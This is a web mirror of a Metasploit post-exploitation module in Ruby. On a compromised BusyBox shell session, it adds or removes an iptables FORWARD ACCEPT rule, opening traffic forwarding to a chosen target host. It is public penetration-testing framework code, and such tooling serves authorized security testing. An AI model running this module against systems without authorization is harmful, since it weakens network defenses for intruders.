CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/busybox/set_dmz.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize
9
super(
10
'Name' => 'BusyBox DMZ Configuration',
11
'Description' => %q{
12
This module will be applied on a session connected to a BusyBox shell. It allows to manage
13
traffic forwarding to a target host through the BusyBox device.
14
},
15
'Author' => 'Javier Vicente Vallejo',
16
'License' => MSF_LICENSE,
17
'Platform' => ['linux'],
18
'SessionTypes' => ['shell']
19
)
20
21
register_options([
22
OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
23
OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
24
])
25
end
26
27
def run
28
if datastore['DELETE']
29
print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
30
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
31
else
32
print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
33
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
34
end
35
36
vprint_status(cmd_exec('iptables --list'))
37
end
38
end
39
40